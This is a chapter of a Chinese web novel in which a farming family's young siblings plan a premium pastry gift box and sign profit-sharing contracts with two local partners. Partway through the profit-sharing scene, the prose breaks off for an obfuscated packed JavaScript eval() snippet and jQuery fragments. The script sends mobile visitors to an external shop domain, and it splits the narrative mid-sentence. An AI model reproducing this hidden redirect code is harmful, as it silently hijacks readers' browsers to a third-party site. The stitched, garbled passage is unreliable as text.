刘柱去府城送钱的这几日，刘全每日准时取走一百个巧酥，傍晚又默默将卖得的钱如数交回，话虽不多，做事一丝不苟。


    王佑在家里相对空闲的这几天，与王杏一起又去了一趟镇上。他的目光停留在那些门脸相对光鲜的铺子，如点心铺、茶食店，甚至镇上唯一一家兼卖糕饼的杂货铺。


    他让王杏假装要买点心送人，进去询问价格，自己则踮着脚，目光快速扫过柜台里陈列的货品。


    结果在意料之中，让他信心大增。


    镇上的所谓高端糕点，无非是些加了红枣或豆沙的枣泥糕、豆沙饼，撒了更多芝麻的芝麻酥，形状规整些的云片糕……价格最贵的三十文钱一块，但包装却极其简陋，大多用粗劣的油纸一裹了事。稍微讲究点的，用印着红字福或寿的薄纸盒，已是顶天的体面了。


    与王佑记忆中前世那些包装精美、营销故事满天飞的‘伴手礼’、‘文创点心’相比，这里的高端市场，简直是一片未被开垦的土地，充满了简陋和……机会。


    回家的路上，他心中那个‘精品巧酥’的计划，轮廓越来越清晰。


    回到家，王佑立刻行动。他翻出王树离家前留下几张纸，又找出家里珍藏的一小截炭笔。他说，王杏写。


    王佑说的，主要是‘操作指南’和‘故事脚本’。


    一炷香后。


    “大姐，大概意思记住就行。等柱子哥回来，咱们再细说。尤其是故事那部分，咱们得编圆了，让栓子哥和柱子哥都觉得有道理，有赚头。”


    王杏拿着那张沉甸甸的纸，心中满是震撼。她用力点头：“佑弟，你放心，大姐都记在心里。等你柱子哥回来，咱们一起商量。”


    与此同时，王老实那边进展颇为顺利。他挑的几户人家，都是平日里老实巴交、家境不宽裕但人品信得过的邻里。他没有说太多大道理，只是含糊地表示家里忙不过来，想找相熟的帮把手，学个样子，做好了统一有人去卖，按抽成分到一笔辛苦钱。


    王老实按照王佑的叮嘱，强调了几点：关键的料要从王家拿，做法王家会教；不能做出残次品；初期在王家做，到时候需要统一去一个地方做，当然，收入也会更高。


    朴实农民大多懂得感恩和守诺，加上对王老实人品的信任和对这份额外收入的渴望，几户人家几乎没有犹豫就答应下来。


    第七日傍晚，刘柱风尘仆仆地从府城回来了。


    他一进王家门，灌了一大碗凉水，抹了把嘴：“王叔、婶子、杏妹子、佑哥儿。好消息，我见到王树弟了，在府城一家干净的客栈里，气色不错。他……他一开始不肯收，说家里不易。我好说歹说，他才收下，眼圈都红了，拉着我的手说了好多感谢的话。他还说，让你们别担心，他一切都好，定当尽力！”


    听到大哥收了钱，王家人悬着的心终于彻底放下，对刘柱更是感激不尽。


    他正想详细说说府城的见闻，王杏却按照弟弟事先的嘱咐，适时地岔开了话题。


    “柱子哥，你辛苦了，这份情我们记在心里。”王杏语气诚恳，然后话锋一转，带着商量的口吻，“你不在的这几天，我爹也在村里走动了一下，有几家相熟的叔伯婶子，看着咱们这生意，也想搭把手。”


    刘柱脸上的笑容微微一僵，心里咯噔一下。找人搭把手？这是……要分他的羹？还是嫌他一个人卖得不够多？


    王杏察言观色，立刻解释道：“柱子哥别误会，我是这么想的，咱们在码头那边卖得好，说明路子对。可镇子周围，还有那么多村子，那么多赶集、做活的人，咱们能不能……把生意再做大一点？”


    “比如，让村里那几户人家做好后统一交给你去卖。你这边呢，以后不光管码头，还可以安排更多人手去到其他地方去卖。你来负责教他们，管他们，从他们的收入里再抽一点管理费。这样一来，咱们的营生就能卖到更多地方，赚的钱也更多，柱子哥你管的事也更重要了，是不是？”


    刘柱听完，眼睛瞪得溜圆，激动得脸都红了，连连拍着大腿：“杏妹子，你这想法……太厉害了。对对对，就该这么干，人手我有，镇上和周围村子哪些地方人多，哪些日子有集，我都清楚！这事交给我，准没错。”


    王杏趁热打铁，继续说道：“柱子哥，咱们走的是实惠顶饿的路子，在码头、乡下是可以卖得好。可你想过没有，镇上富户、讲究人更多，他们吃东西，不光要饱，还要精，要巧，要有面子。”


    刘柱一愣：“有面子？”


    王杏点点头，将王佑关于精品巧酥的构想，用更朴素、更吸引人的语言描述了一遍。


    刘柱听得眼睛都直了，虽然激动，还有一丝残存的市井谨慎：“杏妹子，这……这能行吗？”


    “所以，这事儿，光靠咱们不行，得找懂行的人，有人脉的人。你堂哥在镇上开铺子，认识的人多，门路广。这种精品，得靠他去推，去找买主。你呢，可以帮着跑腿联络，里外照应。咱们三家合伙，把这精品做起来！”


    “对对对，我堂哥肯定有门道。杏妹子，王叔，婶子，你们等着！我这就回镇上找我堂哥说去，这事儿准成！”他说完，像一阵风似的冲出了王家，朝着镇上狂奔而去。


    刘栓刚忙完一天的活计，正准备吃饭，就见刘柱满头大汗地闯了进来，嘴里连珠炮似的将王家那个计划和合作提议倒了出来。


    起初，刘栓还有些不以为然，觉得堂弟是不是被王家人画的大饼冲昏了头。但听着听着，他的敏锐神经被触动了。


    “走！去王家！”刘栓放下筷子，当机立断。他比刘柱想得更深，这不仅仅是赚钱的机会，更是他刘栓拓展人脉的契机。


    兄弟二人饭也顾不得吃，急匆匆又赶回了王家村。


    王杏早已准备好，不卑不亢地将兄弟俩迎进屋，王老实和李氏也出面作陪。油灯下，王杏将那份精品计划更细致、更故事化地阐述了一遍。


    刘栓听得连连点头，不时插话询问细节，眼光越来越亮。刘柱则在一旁兴奋地补充，仿佛已经看到了银子滚滚而来。


    初步的共识已经达成，接下来便是最实际细节、定价和分配。


    王杏按照王佑事先的推演，条理清晰地开始铺陈：“低端的营生，咱们照旧，稳扎稳打。每日先定两百个，码头的量多少柱子哥你自己定。还是老规矩，卖一文半，我拿一文，剩下半文，给到具体卖饼子的人手里。至于你这边怎么从你安排的人那儿抽成，是每卖一个抽一点，还是每月收个管理费，你自己定章程，我不插手，只要保证该得的那一文就行。”


    刘柱是个聪明人，连连点头：“杏妹子放心！规矩我懂，保证办得妥妥当当！”


    “接下来，是精品。”王杏语气一肃，目光转向刘栓，“栓子哥，这东西，咱们不做则已，要做，就得往高了做，往精了做。价钱嘛……”


    她顿了顿，迎着刘栓和刘柱探询而紧张的目光，清晰地吐出三个字：“五百文。”


    “五百文？”刘柱差点从凳子上跳起来，眼珠子瞪得溜圆，“一盒？就……就那几个？”


    刘栓也倒吸一口凉气，眉头紧锁：“杏丫头，这……这是不是太……太冒进了？镇上最好的点心礼盒，撑死也就百十文。”


    这个价格，远超他们的认知范畴。在他们看来，巧酥就是巧酥，用料再好，工艺再精，包装再美，也终究是吃食，五百文一盒？那得是什么人家才舍得买？


    王杏却显得异常镇定她没有直接反驳，而是抛出了一个关键信息：“栓子哥，柱子哥，你们可知道，再过十来天，咱们镇上有头有脸的乡绅老爷，要在周家办一场小聚？”


    刘栓一愣，作为镇上消息灵通的手艺人，他隐约听说过这个风声。此刻被王杏点出，他心中猛地一动，似乎抓住了什么。


    王杏看向刘栓。


    “陈老爷。”刘栓接话，眼神闪烁了一下，他确实认识一位陈老爷府上的采办管事，偶尔接些修缮家具的小活，也远远见过陈老爷几面，谈不上深交，但混个脸熟、递个话是可能的。


    “这就是咱们的机会，赶在乡绅聚会前，栓子哥，你得想办法，备上一份厚礼，去拜会一下陈老爷。”


    刘栓似乎明白了什么，呼吸微微急促起来。


    王杏适时地从袖中取出王佑一张说辞递给刘栓，继续说道：“栓子哥，你去的时候，不必多带，就带一盒咱们做好的样品。盒子要做得最精致，用上好的木料，小巧玲珑，雕花镂空，分格摆放咱们那几种最吉祥图案的巧酥，每个独立用浅色洒金油纸包好。你就照着这纸上写的故事，跟陈老爷或管事讲。重点突出吉祥好彩头、雅致不俗气、府城都难得的精巧。”


    她看着刘栓渐渐发亮的眼睛，说出最关键的一步：“陈老爷收到这样一份别出心裁、寓意吉祥、做工又如此精美的雅礼，他会怎么做？他会不会……在乡绅聚会上，作为新奇玩意儿，给其他老爷们品鉴一番？只要这东西在那种场合一亮相，栓子哥，你说，咱们这东西，还愁卖不上这个价吗？”


    刘栓听完，豁然开朗！所有的疑虑瞬间烟消云散，取而代之的是难以抑制的激动和敬佩！他盯着王杏，仿佛第一次真正认识这个农家姑娘。


    他一拍大腿，胸有成竹：“杏丫头，你这……真是绝了。我有把握说动这件事，保证在聚会前，把东西和话，都递到陈老爷面前！”


    王杏见刘栓已完全入彀，趁热打铁：“模具的事情本来是想再麻烦刘爷爷的。不过栓子哥你既然得了真传，又是做这精品的关键，交给你，自然更放心。花样就是福禄寿、五福临门、平安如意等这些，要刻得比之前的精细，雕上祥云纹路。”


    刘栓毫不犹豫地拍胸脯：“放心！包在我身上！我亲自操刀，就用店里最好的黄杨木，保证刻出来比画上的还好看！”


    “还有最重要的包装礼盒，”王杏拿出一个用普通竹片和旧布勉强搭出的简陋样板，指着结构讲解，“要这么大小，带盖，里面分三到四格。外观最好能上一点清漆，显档次。”


    刘栓只看了几眼样板，心中立刻有了更精妙的构思。用上好的楠木或枣木？雕刻更复杂的缠枝纹或云纹？内衬用细棉布甚至杭绸？他的木匠魂和商人嗅觉同时被点燃，连连点头：“懂了，我亲自设计，做出样品保证精美！”


    前期工作安排妥当，最后也是最核心的利益


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960774|193289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分配。


    王杏深吸一口气，按照王佑反复计算和权衡后的方案，清晰说道：“这精品，每卖出一盒，咱们三家分。我们家，负责最核心的原料、配方、制作和品控，抽二百文。”


    二百文！刘栓和刘柱心中一凛，但想到王家的核心作用，倒也合理。


    “栓子哥，您负责最关键的木盒制作、渠道打通和后续高端销售，劳心劳力，也担着最大的人情风险，抽二百七十文。”王杏看向刘栓。


    刘栓心头狂跳，想到此事成功后带来的潜在收益，他用力点了点头：“合理，我接了！”


    王杏最后看向刘柱：“柱子哥，你虽然不直接参与制作和主要销售，但你是咱们自家人，后续可能需要你帮着跑腿联络、传递消息。所以，每盒抽三十文，算是你的辛苦钱和一份心意。”


    刘柱想到只是跑跑腿就行，激动得脸都红了，忙不迭地点头：“应该的，应该的，杏妹子安排得公道！”


    最后，王杏拿出了王佑口述、她精心誊写并提前盖好父亲手印的三份契约，内容涵盖了低端生意的扩大合作原则，以及精品巧酥项目的具体分工、利润分配、保密条款和争议解决方式。条款清晰，权责分明。


    “栓子哥，柱子哥，咱们亲兄弟明算账。这契约，一式三份，咱们各自画押收好，往后依约行事，大家都放心。”王杏将契约推到两人面前。


    刘栓和刘柱看着那墨迹尚新的契约，心中最后一丝不确定性也消散了。王家做事，太讲究、太敞亮了。连契约都提前拟好了，可见谋划之深、决心之大。


    二人郑重地接过笔，端端正正地写下了自己的名字，重重按上了自己的指印。


    各自收好契约后，刘栓和刘柱兄弟都处在一种高度亢奋又充满干劲的状态，恨不能立刻连夜开工。


    就在刘栓、刘柱已经起身准备告辞时，王杏却轻轻抬手，示意他稍等。


    “栓子哥，柱子哥，还有两件事，得提前想好。”


    两人立刻停步，重新坐下。


    “第一件，是关于那礼盒。”王杏的目光落在刘栓脸上，“盒子做得再精美，若是没有个名头，总归少了点味道。我想着，是不是可以在盒盖上，或者显眼的地方，雕上雅、致、巧、酥四字。”


    “雅致巧酥？”刘栓低声重复了一遍，眼睛一亮。“我回去就设计，把这四个字嵌到雕花纹饰里去，或者单独用篆体、楷体刻在显眼处，保证又雅致又醒目！”


    王杏点点头，这正是她和王佑推敲了许久才定下的名号。


    “第二件。”王杏话锋一转，语气更加慎重，“是关于往后制作的地方。”


    刘栓和刘柱都凝神细听。


    “在家里做，一来地方小，施展不开；二来，人来人往，终究不够隐秘。尤其是这雅致巧酥，用料精细，工艺讲究，更需要一个干净、敞亮、不受打扰的地方。我想请栓子哥和柱子哥帮忙在镇子近郊的乡下，物色一处合适的房子。要求嘛……”


    她掰着手指细数：“第一，地方要够大，至少有三四间屋子，最好带个小院，能放下炉灶、案板，也能晾晒些东西。第二，要通风好，不能是阴暗潮湿的地方。第三，位置要偏静些，但不能太不方便，最好离镇上和各村都不算太远。第四，也是最重要的......”


    王杏的目光扫过刘栓和刘柱，加重了语气：“这地方，最好有些门道。咱们这营生，尤其是雅致巧酥的路子，暂时不能让太多不相干的人知道，免得惹来不必要的麻烦，或者……被人学了去。”


    刘栓和刘柱立刻心领神会，他们心中对王杏的评价，再次拔高。


    “杏妹子考虑得是！”刘栓郑重道，“是该有个正经地方。这事儿交给我们俩，保证尽快找到合心意的。”


    刘柱也连连点头：“包在我身上，我知道几个村子有闲置的，主人都在外地或者镇上，价格便宜，人也靠得住！”


    “那就拜托二位大哥了。”王杏微微欠身，“租金方面，只要地方合适，贵一些也无妨。将来这地方，可能就是咱们的根基所在了。”


    事情交代完毕，夜色已深。刘栓兄弟俩这才带着满脑子的计划和满腔的热血告辞离去。


    王杏关上院门，走回堂屋，看着桌上那盏即将燃尽的油灯和契约，轻轻吐出一口悠长的气。


    她的后背其实早已被汗水浸湿，刚才那番应对，几乎耗尽了她的心力。


    她转身走进里屋，中途父母完全听不懂他们所讲，早已将主场交给她，这会已经入睡。不过王佑还没睡，正睁着乌溜溜的眼睛看着她。


    “大姐，你真厉害。”王佑轻声说，眼中是毫不掩饰的赞许。


    王杏走过去，坐在弟弟小床边，握住他的手，声音有些颤抖：“佑弟，姐心里……其实很怕。怕说错话，怕事情不成，怕……”


    “不怕。”王佑反握住姐姐的手，声音虽稚嫩，却异常沉稳，“大姐，栓子哥和柱子哥，都被你说服了，事情都在按照咱们想的计划走。你是咱们家的掌柜，以后会越来越好的。”


    王杏眼眶一热，用力点了点头。


    姐弟俩又低声商量了一会儿细节，才各自歇下。